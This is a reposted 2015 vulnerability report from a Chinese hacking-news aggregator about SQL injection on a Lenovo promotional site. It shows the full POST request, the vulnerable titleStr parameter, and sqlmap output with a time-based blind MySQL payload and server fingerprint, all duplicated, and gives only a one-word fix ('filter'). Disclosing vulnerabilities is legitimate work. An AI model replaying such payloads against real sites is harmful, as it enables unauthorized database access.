记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

联想某站存在SQL注入

2015-07-14 19:05

http://rel.lenovo.com.cn/zhaoyang/gmyx.html



POST注入:


POST /zhaoyang/edm/add.php HTTP/1.1

Host: rel.lenovo.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905
Connection: keep-alive
Referer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swf
Content-type: application/x-www-form-urlencoded
Content-Length: 192

titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111

参数:titleStr


 

1.jpg



sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: titleStr (POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=[email protected]&buyNum=1&nameStr=111111

---

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24

back-end DBMS: MySQL 5.0.12

current database: 'survey'


http://rel.lenovo.com.cn/zhaoyang/gmyx.html



POST注入:


POST /zhaoyang/edm/add.php HTTP/1.1
Host: rel.lenovo.com.cn
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: __utma=108762113.1514289189.1434009526.1434009526.1434009526.1; __utmb=108762113.2.10.1434009526; __utmc=108762113; __utmz=108762113.1434009526.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; mltn=@250119~6729846269049311709>2>1434009536818>2>1434009536818>279342120217111420>1434009528164@; mlti=@250119~143400952628737857@; mlts=@250119~5@; mltmapping=1; s_cc=true; s_nr=1434009531905
Connection: keep-alive
Referer: http://rel.lenovo.com.cn/zhaoyang/flash/order.swf
Content-type: application/x-www-form-urlencoded
Content-Length: 192

titleStr=1111111&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%25E4%25B8%25AA%25E6%259C%2588%25E5%2586%2585&emailStr=111111111%40qq%2Ecom&buyNum=1&nameStr=111111

 


参数:titleStr


 

1.jpg



sqlmap identified the following injection points with a total of 0 HTTP(s) requests:

---

Parameter: titleStr (POST)

Type: AND/OR time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (SELECT)

Payload: titleStr=1111111' AND (SELECT * FROM (SELECT(SLEEP(5)))MXMC) AND 'ZIoa'='ZIoa&sexStr=male&companyStr=11111111&typeStr=K4350&phoneNum=11111111111&timeStr=3%E4%B8%AA%E6%9C%88%E5%86%85&emailStr=[email protected]&buyNum=1&nameStr=111111

---

web server operating system: Windows 2008 R2 or 7

web application technology: ASP.NET, Microsoft IIS 7.5, PHP 5.3.24

back-end DBMS: MySQL 5.0.12

current database: 'survey'

 

解决方案:

过滤

 
知识来源: www.2cto.com/Article/201507/418129.html

阅读:93806 | 评论:0 | 标签:注入

想收藏或者和大家分享这篇好文章→复制链接地址

“联想某站存在SQL注入”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

九层之台,起于垒土;黑客之术,始于阅读

推广

工具

标签云